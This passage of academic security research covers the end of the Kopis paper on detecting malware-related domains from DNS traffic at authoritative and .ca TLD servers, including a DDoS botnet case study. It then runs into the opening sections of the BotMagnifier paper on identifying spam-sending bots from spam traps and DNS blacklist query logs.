from our malware feed. To perform this measurement,
we used malware from a commercial malware feed with
volume between 400 MB to 2 GB of malware samples
every day. Additionally, we used malware captured from
two corporate networks. As we can see, Kopis was able
to identify domain names on the rise even before a cor-
responding malware sample is accessible by the security
community. This result shows that Kopis can provide the
ability to the registrars and TLD operators to preemp-
tively block or take down malware related domains and

remove botnets from the Internet before they become a
large security threat.

5.6 Canadian TLD

Thus far, the experiments we have reported were all us-
ing data available at AuthNSs. A TLD server is one level
above AuthNS servers in the DNS hierarchy, and as such,
it has a greater global visibility but with less granular
data on DNS resolution behaviors. In this section we re-
port our experiments of Kopis at the TLD level.

We evaluated Kopis on query data obtained from the
Canadian TLD. We used the same evaluation method in-
troduced in Section 5.5 but with different training win-
dow sizes, testing epochs and classification thresholds.
Before we describe the results, we should note that all
TLD traffic needs passive reconstruction of the query
data to identify the IPs addresses in the A-type re-
source records. We used a passive DNS database com-
posed of data from four ISP sensors and the passive DNS
database from SIE [24]. The Canadian TLD’s traffic was
harvested from SIE [24] (channel three).

Unfortunately, due to the fact that we obtained traf-
fic from only 52 days (2010-08-26 until 2010-10-18) we
had to use a smaller training epoch of 14 days (instead of
one month). We evaluated Kopis using the RF classifier,
14 consecutive days as the training epoch, 14 days fol-
lowing the training epoch as the evaluation epoch, and
setting the threshold θ = 0.9. Two sequential training
epochs had seven days in common. The exact training
epochs were 08-27 to 09-11, 09-04 to 09-18, 09-11 to
09-25 and 09-18 to 10-02 while the corresponding eval-
uation epochs were 09-12 to 09-26, 09-19 to 10-03, 09-
26 to 10-10 and 10-03 to 10-17, respectively. Without
changing the data labeling methodology, we assembled
a dataset with 2,199 malware related and 1,018 benign
unique deduplicated domain names.

In Figure 12 and Figure 13, we can see the results of
this experiment. As with the experiments in Section 5.5,
we evaluated Kopis in six modes, using as threshold
θ = 0.5. We should note here that the evaluation of the
RD+RP Features reflects the evaluation mode with
datasets that were composed only by the combination of
RD and RP features. Such dataset can be extracted di-
rectly from data readily available at a TLD server (in
other words, the RD+RP Features is the most “effi-
cient” mode that Kopis can operate in and can be com-
puted on the fly at a TLD server).

When we used all features we observed the av-
erage FPrates was 0.52% (∼ six domain names),
while the average TPrates was 94.68% (2,082 do-
main names). For the RP+RD Features and IPR
Features the average FPrates were 3.18% (∼ 33 do-
main names) and 0.36% (∼ four domain names), respec-
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Figure 12: TPrates achieved during evaluation of traffic
obtained from .ca TLD.

tively; while the average TPrates were 63.63% (1,399
domain names) and 10.84% (238 domain names), re-
spectively. The RP+RD+AS(IPR) Features, gave
the average FPrates = 1.03% (or ten domain names)
and average TPrates = 78.95% (or 1,736 domain
names).

During the RP+RD Features evaluation, we ob-
served that the average TPrates reached 63.63% while
the average FPrates were in the range of 3.18%. These
were very promising results despite the relatively high
FPrates because we can operate Kopis using a sequential
classification mode, starting with RP+RD Features
followed by All Features. Kopis in this “in-series”
classification mode can achieve a good balance of effi-
ciency and accuracy.

More specifically, at the first step in the sequential pro-
cess, Kopis is a “coarse filter” that operates in RP+RD
Features with only the RP and RD statistical features
and threshold θ = 0.5. Any domain name that passes
this filter (i.e., with a “malware-related” label) then re-
quires additional feature computation, i.e., reconstruct-
ing the resolved IP address records, and further classi-
fication at the next step in the sequential process. On
the other hand, domains that are dropped by this filter
(i.e., with a “legitimate” label) are no longer analyzed by
Kopis. Thus, the first step filter is essentially a data re-
duction tool, and the sequential classification process is
a way to delay the expensive computation until the data
volume is reduced. This technique is very important at
the TLD level given the potentially huge volume of data.

In our experiments Kopis operating at the first step
with RP+RD Features (and threshold θ = 0.5)
yielded an average data reduction rate5 of 87.95% on

5We define the reduction rate as follows: 1 −
TPmalware+FPmalware

ALL
, where TPmalware is the true posi-

tives for the malware-related class, FPmalware is the mis-classified
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Figure 13: FPrates achieved during evaluation of traffic
obtained from .ca TLD.

the original dataset. After this reduction, at the second
step, we evaluated Kopis on the (remaining) dataset us-
ing all features, and keeping the same threshold θ = 0.5.
The average FPrates reported at this step by Kopis were
zero while the average TPrates were 94.44%. The over-
all FPrates and TPrates for this “in-series” mode were
zero and 60.09% (1,321 domain names), respectively.

At this point we should note that the threshold θ was
set again with the intention to have the FPrates as close
to 1.0% as possible but also not to sacrifice much of the
TPrate produced from the first classification process in
the “in-series” mode. As we saw previously, even when
we had some FPs created by the RP+RD Features
(the first classification process in the “in-series” mode),
the combination of statistical features in the second “in-
series” mode was able to prune away these FPs. An op-
erator may choose to lower the threshold θ even more
and have as an immediate effect, the increase of domain
names that will be forwarded to the second “in-series”
classification process, with a potential increase in the
overall TPrate and FPrates. The experiments in this
section showed that by using an “in-series” classification
process where different steps can use different (sub)sets
of features and thresholds, Kopis can achieve a good bal-
ance of detection performance and operation efficiency
at the TLD level.

5.7 DDos Botnet Originated in China

As discussed in Section 1, Kopis was designed to have
global visibility so that it can detect domains associ-
ated with malware activities running in an uncooperative
country or networks before the attacks propagate to net-

as malware-related benign domain names and ALL all as the domain
names in the evaluation dataset.
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Figure 14: Various growth trends for the DDoS botnet.
Day zero is 03-20-2010.

works that it protects. In this section, we report a case
study to demonstrate Kopis’s global detection capability.

Kopis was able to identify a commercial DDoS botnet
in the first few weeks of its propagation in China and well
before it began propagating within other countries, in-
cluding the US. We alerted the security community, and
the botnet was finally removed from the Internet in the
middle of September 2010. Next we provide some in-
tuition behind this discovery and why Kopis was able to
detect this threat early.

This DDoS botnet was controlled through 18 domain
names, all of which were registered by the attacker under
the same authority (although with different 2LDs). Kopis
was deployed at the AuthNS server and was able to ob-
serve resolution requests to these domains (even when
the infected machines were initially not in the US) and
classify them as malware-related because their resolution
patterns fit the profiles of known malware domains in its
knowledge base.

These domain names were linked with six IP addresses
located in the following autonomous systems: 14745
(US), two in 4837 (CN), 37943 (CN) and two in 4134
(CN), throughout the lifetime of the botnet. We show
the difference between the absolute DNS lookups ver-
sus the daily volume of unique query tuples in Figure 14
(i). The average lookup volume every day was 438,471
with average de-duplicated query tuples in the range of
3,883. Despite this significant data reduction, Kopis was
still able to track and identify this emerging threat. In
Figures 14 (ii), (iii) and (iv), we can see the daily growth
of unique CIDRs, AS and CCs related to the RDNSs that
queried the domain names used in the botnet.

An interesting observation can be made from Fig-
ure 15. In this figure we can see the daily lookup volume
for the domain names of this botnet. Instantly we can see
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Figure 15: A snapshot from the first 70 days of the bot-
net’s growth with respect to the country code-based res-
olution attempts for the DDoS botnet’s domain names.
Day zero is 03-20-2010.

that the first big infection happened in Chinese networks
in a relatively short period of time (in the first 2-3 days).
After this initial infection, a number of machines from
several other countries were also infected but nowhere
close to the volume of the infected population in the Chi-
nese networks. As an example we can see in Figure 15
that the first time more than 1,000 daily lookups were
observed from the United States was more than 20 days
after the botnet was launched. Also, other countries such
as Poland and Thailand had the first infection 21 and 25
days after the botnet were lunched. Furthermore, large
countries such as Italy, Spain and India reached the 100
daily lookup threshold 15 days later than the start of this
botnet. Clearly, for countries like Poland and Thailand
(and even Italy, Spain and India to a large extent) local-
ized DNS reputation techniques could not have been able
to observe a resolution request (or a strong enough sig-
nal) for any of the domain names related to this botnet,
until the botnet had reached global scale, which was sev-
eral weeks after it was launched. Figure 16 shows the
volume of samples correlated with this botnet as they
appeared in our malware feeds. We observe that the
first malware sample related to this botnet appeared two
months after the botnet became active.

To demonstrate the contribution of each feature fam-
ily towards the identification of the domain names that
were part of this botnet we conducted the following ex-
periment. We trained Kopis with 30 days of data before
the 5th of May 2010. Then we computed vectors for
all the domain names that were part of the botnet. We
computed one vector every day for each domain name
based on the information we had on the domain name and
IP address up until that day. We classified each vector

13
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Figure 16: Volume of malware samples related with the
DDoS botnet as they appeared in our feeds. Day zero is
05-20-2010.

against four trained classifiers with the following set of
features; All Features, RD+RP Features, IPR
Features, and RD+RP+AS(IPR) Features. We
then marked the first day that each classifier detected
a domain name as malware-related, while setting the
threshold θ = 0.9. By doing so we identified the ear-
liest day that the classifier would have detected the do-
main name without human forensic analysis on the re-
sults. The detection results from this experiment can be
found in Table 1.

What the results show is that only the combination of
all features can detect all the domain names until the end
of August. On the other hand the IPR and the combina-
tion of RD+RP features detected more than half of the
domain names by the middle of July, when the botnet
was in its peak. We should also note that in the middle
of July we saw the biggest volume of malware samples
related to the botnet’s domain names surfacing in the se-
curity community. Finally, we should also note that these
18 domain names appeared in public blacklists after the
take-down of the botnet was publicly disclosed (Septem-
ber 2010). Obviously, this was not exactly how we de-
tected the botnet. After the initial identification of the 7
domain names in the beginning of May and with some
very basic forensic analysis, we managed to quickly dis-
cover the entire corpus of the related domains.

In an effort to place Kopis’ early detection abilities
in comparison with recursive-based reputation systems
(like Notos and Exposure) we check in the passive DNS
database at ISC when these 18 domain names first ap-
peared. Fifteen of them never showed up in the RDNSs
that supply ISC with DNS data. The remaining three do-
main appeared for the first time on the following dates:

2010-06-24 06:56:34, 2010-07-01 14:06:47 and 2010-
09-08 04:32:36. This means that the first domain name
related with this botnet appeared three months after the
botnet was created and this would have been the earliest
possible time that either Notos or Exposure could have
detected these domain names assuming they were oper-
ating on passive DNS data from ISC — one of biggest
passive DNS repositories worldwide. This clearly shows
the need of detection systems like Kopis that can operate
higher in the DNS hierarchy and provide Internet with an
early global warning system for DNS.

Features/Dates 5/20 6/1 7/15 8/31
All 7 9 15 18
RD+RP 3 5 12 16
IPR 3 5 13 17

RD+RP+AS(IPR) 3 5 12 16

Table 1: Number of the botnet related domain names
that each feature family would have detected up-until the
specified date assuming that the system was operating
unsupervised.

6 Discussion

In this section, we elaborate on possible evasion tech-
niques and discuss some operational issues of Kopis.

6.1 Evasion techniques
Kopis relies significantly on the Requester Diversity
(RD) and Requester Profile features. An attacker may
attempt to dilute the information provided by the RP and
RD features to evade Kopis. This could be achieved by
resolving domain names from a diverse set of open re-
cursive DNS servers or even from random IPs acting as
stub resolver (e.g., using infected machines). This will
not be as easy as it sounds, due to the RP feature family.
This is because even if the adversary looks up domain
names from various different IP addresses, the adversary
will still have to look up a large number of domain names
under the same authority to make the weight of each re-
quester large enough to alter the RP features. Addition-
ally, the adversary will have to repeatedly (for a long
enough period of time) ask for different domain names
served by the same authority in order to influence/dilute
the RDNS weighing function.

In order to be able to artificially create the necessary
signal that may dilute or even disturb the modeling of le-
gitimate and malware-related domain names, the adver-
sary would have to obtain access to traffic at the author-
ity name or TLD servers. Furthermore, the adversary
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would need a full list of statistical feature values used
from Kopis. Such an attack would be similar in spirit to
polymorphic blending attacks [12]. We note here that re-
liable and systematic access to DNS traffic at the author-
itative or TLD level is extremely hard to obtain, since it
would require the collaboration of the registrar that con-
trols the AuthNS or the TLD servers.

Domain name generation algorithms (DGAs) have
been used by malware families (i.e., Conficker [20],
Zeus/Murofet [23], Bobax [26], Torpig [27] etc.) in the
last few years. The new seed of these DGAs has typically
the periodicity of a day. This implies that domain names
generated by DGAs (and under the zones Kopis moni-
tors) will be active only for a small period of time (e.g., a
day). Due to the daily observation period mandatory for
Kopis to provide detection results, such malware-related
domain names will be potentially inactive by the time
they are reported by our detection system. Operating
Kopis with smaller epochs (i.e., hourly granularity) could
potential solve this problem. We leave the verification of
this operation mode to future work.

6.2 TLDs and Domain Registrars
As we have already discussed, just observing the DNS
resolution requests at the TLD level will not provide
sufficient information for the system to reconstruct the
IP addresses mapped with the queried domain names.
There are several ways to resolve this issue. The sim-
plest way to reconstruct the IP addresses for a given do-
main name is to check a large passive DNS database. For
the domains that are not replicated in the passive DNS
database, we can use an active probing strategy to re-
trieve the resolved IP addresses with little overhead.

As a final classification heuristic, especially in the case
of domain registrars, they can potentially combine Kopis
with domain name registration information. Classifica-
tion results from Kopis can be combined with domain
name registration information (trivially accessible to do-
main registrars) in order to further reduce FPs but also
provide an additional correlation between domain regis-
tration accounts that own domains with suspicious reso-
lution behavior according to Kopis.

7 Conclusion

In this paper, we presented Kopis, a system that can op-
erate at the upper DNS hierarchy and detect malware-
related domains based on global DNS resolution pat-
terns. To the best of our knowledge, Kopis is the first sys-
tem that can operate at TLD servers and large authorities
and provide DNS operators the ability of early detection
of malware-related domains — even without information
of the associated malware.

Kopis models three key signals at the DNS authori-
ties: the daily domain name resolution patterns, the sig-
nificance of each requester for an epoch, and the do-
main name’s IP address reputation. Using more than
half a year of real world data of known benign and
malware-related domains from two major DNS authori-
ties and the .ca TLD, our evaluation showed that Kopis
can achieve high TPrates (98.4% against all malware-
related domains and 73.6% against new and previously
unclassified malware-related domains) and low FPrates

(0.3% and 0.5%). Kopis was also able to detect newly
created and previously unclassified malware-related do-
main names several weeks before they were listed in any
blacklist and before information of the associated mal-
ware appeared in security forums. Finally, Kopis was
used to identify the creation of a DDoS botnet in China.
This ability to identify malware-related domains on the
rise can provide the DNS operators the preemptive abil-
ity to remove rapidly growing botnets at the very early
stage, thus minimizing their threats to Internet security.
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Abstract
Unsolicited bulk email (spam) is used by cyber-

criminals to lure users into scams and to spread mal-
ware infections. Most of these unwanted messages are
sent by spam botnets, which are networks of compro-
mised machines under the control of a single (malicious)
entity. Often, these botnets are rented out to particular
groups to carry out spam campaigns, in which similar
mail messages are sent to a large group of Internet users
in a short amount of time. Tracking the bot-infected hosts
that participate in spam campaigns, and attributing these
hosts to spam botnets that are active on the Internet, are
challenging but important tasks. In particular, this infor-
mation can improve blacklist-based spam defenses and
guide botnet mitigation efforts.

In this paper, we present a novel technique to support
the identification and tracking of bots that send spam.
Our technique takes as input an initial set of IP addresses
that are known to be associated with spam bots, and
learns their spamming behavior. This initial set is then
“magnified” by analyzing large-scale mail delivery logs
to identify other hosts on the Internet whose behavior is
similar to the behavior previously modeled. We imple-
mented our technique in a tool, called BOTMAGNIFIER,
and applied it to several data streams related to the deliv-
ery of email traffic. Our results show that it is possible
to identify and track a substantial number of spam bots
by using our magnification technique. We also perform
attribution of the identified spam hosts and track the evo-
lution and activity of well-known spamming botnets over
time. Moreover, we show that our results can help to im-
prove state-of-the-art spam blacklists.

1 Introduction

Email spam is one of the open problems in the area of
IT security, and has attracted a significant amount of
research over many years [11, 26, 28, 40, 42]. Unso-
licited bulk email messages account for almost 90% of

the world-wide email traffic [20], and a lucrative busi-
ness has emerged around them [12]. The content of spam
emails lures users into scams, promises to sell cheap
goods and pharmaceutical products, and spreads mali-
cious software by distributing links to websites that per-
form drive-by download attacks [24].

Recent studies indicate that, nowadays, about 85% of
the overall spam traffic on the Internet is sent with the
help of spamming botnets [20, 36]. Botnets are networks
of compromised machines under the direction of a sin-
gle entity, the so-called botmaster. While different bot-
nets serve different, nefarious goals, one important pur-
pose of botnets is the distribution of spam emails. The
reason is that botnets provide two advantages for spam-
mers. First, a botnet serves as a convenient infrastructure
for sending out large quantities of messages; it is essen-
tially a large, distributed computing system with mas-
sive bandwidth. A botmaster can send out tens of mil-
lions of emails within a few hours using thousands of
infected machines. Second, a botnet allows an attacker
to evade spam filtering techniques based on the sender
IP addresses. The reason is that the IP addresses of some
infected machines change frequently (e.g., due to the ex-
piration of a DHCP lease, or to the change in network
location in the case of an infected portable computer).
Moreover, it is easy to infect machines and recruit them
as new members into a botnet. This means that black-
lists need to be updated constantly by tracking the IP ad-
dresses of spamming bots.

Tracking spambots is challenging. One approach to
detect infected machines is to set up spam traps. These
are fake email addresses (i.e., addresses not associated
with real users) that are published throughout the Inter-
net with the purpose of attracting and collecting spam
messages. By extracting the sender IP addresses from
the emails received by a spam trap, it is possible to ob-
tain a list of bot-infected machines. However, this ap-
proach faces two main problems. First, it is likely that
only a subset of the bots belonging to a certain botnet
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will send emails to the spam trap addresses. Therefore,
the analysis of the messages collected by the spam trap
can provide only a partial view of the activity of the bot-
net. Second, some botnets might only target users lo-
cated in a specific country (e.g., due to the language used
in the email), and thus a spam trap located in a different
country would not observe those bots.

Other approaches to identify the hosts that are part of
a spamming botnet are specific to particular botnets. For
example, by taking control of the command & control
(C&C) component of a botnet [21, 26], or by analyzing
the communication protocol used by the bots to interact
with other components of the infrastructure [6, 15, 32],
it is possible to enumerate (a subset of) the IP addresses
of the hosts that are part of a botnet. However, in these
cases, the results are specific to the particular botnet that
is being targeted (and, typically, the type of C&C used).

In this paper, we present a novel approach to identify
and track spambot populations on the Internet. Our am-
bitious goal is to track the IP addresses of all active hosts
that belong to every spamming botnet. By active hosts,
we mean hosts that are online and that participate in spam
campaigns. Comprehensive tracking of the IP addresses
belonging to spamming botnets is useful for several rea-
sons:

• Internet Service Providers can take countermea-
sures to prevent the bots whose IP addresses reside
in their networks from sending out email messages.

• Organizations can clean up compromised machines
in their networks.

• Existing blacklists and systems that analyze
network-level features of emails can be improved
by providing accurate information about machines
that are currently sending out spam emails.

• By monitoring the number of bots that are part of
different botnets, it is possible to guide and support
mitigation efforts so that the C&C infrastructures
of the largest, most aggressive, or fastest-growing
botnets are targeted first.

Our approach to tracking spamming bots is based on
the following insight: bots that belong to the same bot-
net share the same C&C infrastructure and the same code
base. As a result, these bots will feature similar behavior
when sending spam [9, 40, 41]. In contrast, bots belong-
ing to different spamming botnets will typically use dif-
ferent parameters for sending spam mails (e.g., the size
of the target email address list, the domains or countries
that are targeted, the spam contents, or the timing of their
actions). More precisely, we leverage the fact that bots
(of a particular botnet) that participate in a spam cam-
paign share similarities in the destinations (domains) that
they target and in the time periods they are active. Simi-
lar to previous work [15], we consider a spam campaign

to be a set of email messages that share a substantial
amount of content and structure (e.g., a spam campaign
might involve the distribution of messages that promote
a specific pharmaceutical scam).

Input datasets. At a high level, our approach takes two
datasets as input. The first dataset contains the IP ad-
dresses of known spamming bots that are active during
a certain time period (we call this time period the obser-
vation period). The IP addresses are grouped by spam
campaign. That is, IP addresses in the same group sent
the same type of messages. We refer to these groups of
IP addresses as seed pools. The second dataset is a log
of email transactions carried out on the Internet during
the same time period. This log, called the transaction
log, contains entries that specify that, at a certain time,
IP address C attempted to send an email message to IP
address S. The log does not need to be a complete log
of every email transaction on the Internet (as it would be
unfeasible to collect this information). However, as we
will discuss later, our approach becomes more effective
as this log becomes more comprehensive.

Approach. In the first step of our approach, we search
the transaction log for entries in which the sender IP ad-
dress is one of the IP addresses in the seed pools (i.e.,
the known spambots). Then, we analyze these entries
and generate a number of behavioral profiles that capture
the way in which the hosts in the seed pools sent emails
during the observation period.

In the second step of the approach, the whole trans-
action log is searched for patterns of behavior that are
similar to the spambot behavior previously learned from
the seed pools. The hosts that behave in a similar man-
ner are flagged as possible spamming bots, and their IP
addresses are added to the corresponding magnified pool.

In the third and final step, heuristics are applied to re-
duce false positives and to assign spam campaigns (and
the IP addresses of bots) to specific botnets (e.g., Rus-
tock [5], Cutwail [35], or MegaD [4, 6]).

We implemented our approach in a tool, called BOT-
MAGNIFIER. In order to populate our seed pools, we
used data from a large spam trap set up by an Internet
Service Provider (ISP). Our transaction logs were con-
structed by running a mirror for Spamhaus, a popular
DNS-based blacklist. Note that other sources of infor-
mation can be used to either populate the seed pools or
to build a transaction log. As we will show, BOTMAGNI-
FIER also works for transaction logs extracted from net-
flow data collected from a large ISP’s backbone routers.

BOTMAGNIFIER is executed periodically, at the end
of each observation period. It outputs a list of the IP ad-
dresses of all bots in the magnified pools that were found
during the most recent period. Moreover, BOTMAGNI-
FIER associates with each seed and magnified pool a la-
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bel that identifies (when possible) the name of the botnet
that carried out the corresponding spam campaign. Our
experimental results show that our system can find a sig-
nificant number of additional IP addresses compared to
the seed baseline. Furthermore, BOTMAGNIFIER is able
to detect emerging spamming botnets. As we will show,
we identified the resurrection of the Waledac spam botnet
during the evaluation period, demonstrating the ability of
our technique to find new botnets.
In summary, we provide the following contributions:

• We developed a novel method for characterizing the
behavior of spamming bots.

• We provide a novel technique for identifying and
tracking spamming bot populations on the Internet,
using a “magnification” process.

• We assigned spam campaigns to the major botnets,
and we studied the evolution of the bot population
of these botnets over time.

• We validated our results using ground truth col-
lected from a number of C&C servers used by a
large spamming botnet, and we demonstrated the
applicability of our technique to real-world, large-
scale datasets.

2 Input Datasets

BOTMAGNIFIER requires two input datasets to track
spambots: seed pools and a transaction log. In this sec-
tion, we discuss how these two datasets are obtained.

2.1 Seed Pools
A seed pool is a set of IP addresses of hosts that, during
the most recent observation period, participated in a spe-
cific spam campaign. The underlying assumption is that
the hosts whose IP addresses are in the same seed pool
are part of the same spamming botnet, and they were in-
structed to send a certain batch of messages (e.g., emails
advertising cheap Viagra or replica watches).

To generate the seed pools for the various spam cam-
paigns, we took advantage of the information collected
by a spam trap set up by a large US ISP. Since the email
addresses used in this spam trap do not correspond to
real customers, all the received emails are spam. We
collected data from the spam trap between September 1,
2010 and February 10, 2011, with a downtime of about
15 days in November 2011. The spam trap collected, on
average, 924,000 spam messages from 268,000 IP ad-
dresses every day.

Identifying similar messages. We identify spam cam-
paigns within this dataset by looking for similar email
messages. More precisely, we analyze the subject lines
of all spam messages received during the last observation

period (currently one day: see discussion below). Mes-
sages that share a similar subject line are considered to
be part of the same campaign (during this period).

Unfortunately, the subject lines of messages of a cer-
tain campaign are typically not identical. In fact, most
botnets vary the subject lines of the message they send
to avoid detection by anti-spam systems. For exam-
ple, some botnets put the user name of the recipient
in the subject, or change the price of the pills be-
ing sold in drug-related campaigns. To mitigate this
problem, we extract templates from the actual subject
lines. To this end, we substitute user names, email ad-
dresses, and numbers with placeholder regular expres-
sions. User names are recognized as tokens that are
identical to the first part of the destination email address
(the part to the left of the @ sign). For example, the
subject line “john, get 90% discounts!” sent
to user john@example.com becomes “\w+, get
[0-9]+% discounts!”

More sophisticated botnets, such as Rustock, add ran-
dom text fetched from Wikipedia to both the email body
and the subject line. Other botnets, such as Lethic, add
a random word at the end of each subject. These tricks
make it harder to group emails belonging to the same
campaign that are sent by different bots, because differ-
ent bots will add distinct text to each message. To handle
this problem, we developed a set of custom rules for the
largest spamming botnets that remove the spurious con-
tent from the subject lines.

Once the subjects of the messages have been trans-
formed into templates and the spurious information has
been removed, messages with the same template subject
line are clustered together. This approach is less sophis-
ticated than methods that take into account more features
of the spam messages [22, 40], but we found (by manual
investigation) that our simple approach was very effec-
tive for our purpose. Our approach, although sufficient,
could be refined even further by incorporating these more
sophisticated schemes to improve our ability to recognize
spam campaigns.

Once the messages are clustered, the IP addresses of
the senders in each cluster are extracted. These sets of IP
addresses represent the seed pools that are used as input
to our magnification technique.

Seed pool size. During our experiments, we found that
seed pools that contain a very small number of IP ad-
dresses do not provide good results. The reason is that
the behavior patterns that can be constructed from only a
few known bot instances are not precise enough to rep-
resent the activity of a botnet. For example, campaigns
involving 200 unique IP addresses in the seed pool pro-
duced, on average, magnified sets where 60% of the IP
addresses were not listed in Spamhaus, and therefore
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were likely legitimate servers. Similarly, campaigns with
a seed pool size of 500 IP addresses still produced mag-
nified sets where 25% of the IP addresses were marked
as legitimate by Spamhaus. For these reasons, we only
consider those campaigns for which we have observed
more than 1,000 unique sender IP addresses. The emails
belonging to these campaigns account for roughly 84%
of the overall traffic observed by our spam trap. It is in-
teresting to notice that 8% of the overall traffic belongs
to campaigns carried out by less than 10 distinct IP ad-
dresses per day. Such campaigns are carried out by ded-
icated servers and abused email service providers. The
aggressive spam behavior of these servers and their lack
of geographic/IP diversity makes them trivial to detect
without the need for magnification.

The lower limit on the size of seed pools has implica-
tions for the length of the observation period. When this
interval is too short, the seed pools are likely to be too
small. On the other hand, many campaigns last less than
a few hours. Thus, it is not useful to make the observa-
tion period too long. Also, when increasing the length
of the observation period, there is a delay introduced be-
fore BOTMAGNIFIER can identify new spam hosts. This
is not desirable when the output is used for improving
spam defenses. In practice, we found that an observation
period of one day allows us to generate sufficiently large
seed pools from the available spam feed. To evaluate
the impact that the choice of the analysis period might
have on our analysis system, we looked at the length of
100 spam campaigns, detected over a period of one day.
The average length of these campaigns is 9 hours, with a
standard deviation of 6 hours. Of the campaigns we ana-
lyzed, 25 lasted less than four hours. However, only two
of these campaigns did not generate large enough seed
pools to be considered by BOTMAGNIFIER. On the other
hand, 8 campaigns that lasted more than 18 hours would
not have generated large enough seed pools if we used
a shorter observation period. Also, by manual investi-
gation, we found that campaigns that last more than one
day typically reach the threshold of 1,000 IP addresses
for their seed pool within the first day. Therefore, we be-
lieve that the choice of an observation period of one day
works well, given the characteristics of the transaction
log we used. Of course, if the volume of either the seed
pools or the transaction log increased, the observation
period could be reduced accordingly, making the system
more effective for real-time spam blacklisting.

Note that it is not a problem when a spam campaign
spans multiple observation periods. In this case, the
bots that participate in this spam campaign and are ac-
tive during multiple periods are simply included in mul-
tiple seed pools (one for each observation period for this
campaign).

2.2 Transaction Log
The transaction log is a record of email transactions car-
ried out on the Internet during the same time period
used for the generation of the seed pools. For the cur-
rent version of BOTMAGNIFIER and the majority of our
experiments, we obtained the transaction log by ana-
lyzing the queries to a mirror of Spamhaus, a widely-
used DNS-based blacklisting service (DNSBL). When
an email server S is contacted by a client C that wants
to send an email message, server S contacts one of the
Spamhaus mirrors and asks whether the IP address of the
client C is a known spam host. If C is a known spam-
mer, the connection is rejected or the email is marked as
spam.

Each query to Spamhaus contains the IP address of
C. It is possible that S may not query Spamhaus di-
rectly. In some cases, S is configured to use a local DNS
server that forwards the query. In such cases, we would
mistakenly consider the IP address of the DNS server
as the mail server. However, the actual value of the IP
address of S is not important for the subsequent analy-
sis. It is only important to recognize when two different
clients send email to the same server S. Thus, as long
as emails sent to server S yield Spamhaus queries that
always come from the same IP address, our technique is
not affected.

Each query generates an entry in the transaction log.
More precisely, the entry contains a timestamp, the IP
address of the sender of the message, and the IP address
of the server issuing the query. Of course, by monitoring
a single Spamhaus mirror (out of 60 deployed throughout
the Internet), we can observe only a small fraction of the
global email transactions. Our mirror observes roughly
one hundred million email transactions a day, compared
to estimates that put the number of emails sent daily at
hundreds of billions [13].

Note that even though Spamhaus is a blacklisting ser-
vice, we do not use the information it provides about the
blacklisted hosts to perform our analysis. Instead, we
use the Spamhaus mirror only to collect the transaction
logs, regardless of the fact that a sender may be a known
spammer. In fact, other sources of information can be
used to either populate the seed pools or to collect the
transaction log. To demonstrate this, we also ran BOT-
MAGNIFIER on transaction logs extracted from netflow
data collected from a number of backbone routers of a
large ISP. The results show that our general approach is
still valid (see Section 6.4 for details).

3 Characterizing Bot Behavior

Given the two input datasets described in the previous
section, the first step of our approach is to extract the be-
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havior of known spambots. To this end, the transaction
log is consulted. More precisely, for each seed pool, we
query the transaction log to find all events that are associ-
ated with all of the IP addresses in that seed pool (recall
that the IP addresses in a seed pool correspond to known
spambots). Here, an event is an entry in the transaction
log where the known spambot is the sender of an email.
Essentially, we extract all the instances in the transaction
log where a known bot has sent an email.

Once the transaction log entries associated with a seed
pool are extracted, we analyze the destinations of the
spam messages to characterize the bots’ behavior. That
is, the behavior of the bots in a seed pool is characterized
by the set of destination IP addresses that received spam
messages. We call the set of server IP addresses targeted
by the bots in a seed pool this pool’s target set.

The reason for extracting a seed pool’s target set is the
insight that bots belonging to the same botnet receive the
same list of email addresses to spam, or, at least, a subset
of addresses belonging to the same list. Therefore, dur-
ing their spamming activity, bots belonging to botnet A
will target the addresses contained in list LA, while bots
belonging to botnet B will target destinations belonging
to list LB . That is, the targets of a spam campaign char-
acterize the activity of a botnet.

Unfortunately, the target sets of two botnets often have
substantial overlap. The reason is that there are many
popular destinations (server addresses) that are targeted
by most botnets (e.g., the email servers of Google, Ya-
hoo, large ISPs with many users, etc.) Therefore, we
want to derive, for each spam campaign (seed pool), the
most characterizing set of destination IP addresses. To
this end, we remove from each pool’s target set all server
IP addresses that appear in any target set belonging to
another another seed pool.

More precisely, consider the seed pools P =
p1, p2, . . . , pn. Each pool pi stores the IP addresses
of known bots that participated in a certain campaign:
i1, i2, . . . , im. In addition, consider that the transaction
log L contains entries in the form 〈t, is, id〉, where t is a
time stamp, is is the IP address of the sender of an email
and id is the IP address of the destination server of an
email. For each seed pool pi, we build this seed pool’s
target set T (pi) as follows:

T (pi) := {id|〈t, is, id〉 ∈ L ∧ is ∈ pi}. (1)

Then, we compute the characterizing set C(pi) of a
seed pool pi as follows:

C(pi) := {id|id ∈ T (pi) ∧ id /∈ T (pj), j �= i}. (2)

As a result, C(pi) contains only the target addresses
that are unique (characteristic) for the destinations of
bots in seed pool pi. The characterizing set C(pi) of
each pool is the input to the next step of our approach.

4 Bot Magnification

The goal of the bot magnification step is to find the IP ad-
dresses of additional, previously-unknown bots that have
participated in a known spam campaign. More precisely,
the goal of this step is to search the transaction log for IP
addresses that behave similarly to the bots in a seed pool
pi. If such matches can be found, the corresponding IP
addresses are added to the magnification set associated
with pi. This means that a magnification set stores the IP
addresses of additional, previously-unknown bots.

BOTMAGNIFIER considers an IP address xi that ap-
pears in the transaction log L as matching the behavior
of a certain seed pool pi (and, thus, belonging to that
spam campaign) if the following three conditions hold:
(i) host xi sent emails to at least N destinations in the
seed pool’s target set T (pi); (ii) the host never sent an
email to a destination that does not belong to that target
set; (iii) host xi has contacted at least one destination that
is unique for seed pool pi (i.e., an address in C(pi)). If
all three conditions are met, then IP address xi is added
to the magnification set M(pi) of seed pool pi.

More formally, if we define D(xi) as the set of desti-
nations targeted by an IP address xi, we have:

xi ∈ M(pi) ⇐⇒ |D(xi) ∩ T (pi)| ≥ N ∧
D(xi) ⊆ T (pi) ∧
D(xi) ∩ C(pi) �= ∅. (3)

The intuition behind this approach is the following:
when a host h sends a reasonably large number of emails
to the same destinations that were targeted by a spam
campaign and not to any other targets, there is a strong
indication that the email activity of this host is similar to
the bots involved in the campaign. Moreover, to assign
a host h to at most one campaign (the one that it is most
similar), we require that h targets at least one unique des-
tination of this campaign.

Threshold computation. The main challenge in this
step is to determine an appropriate value for the thresh-
old N , which captures the minimum number of destina-
tion IP addresses in T (pi) that a host must send emails to
in order to be added to the magnification set M(pi). Set-
ting N to a value that is too low will generate too many
bot candidates, including legitimate email servers, and
the tool would generate many false positives. Setting N
to a value that is too high might discard many bots that
should have been included in the magnification set (that
is, the approach generates many false negatives). This
trade-off between false positives and false negatives is a
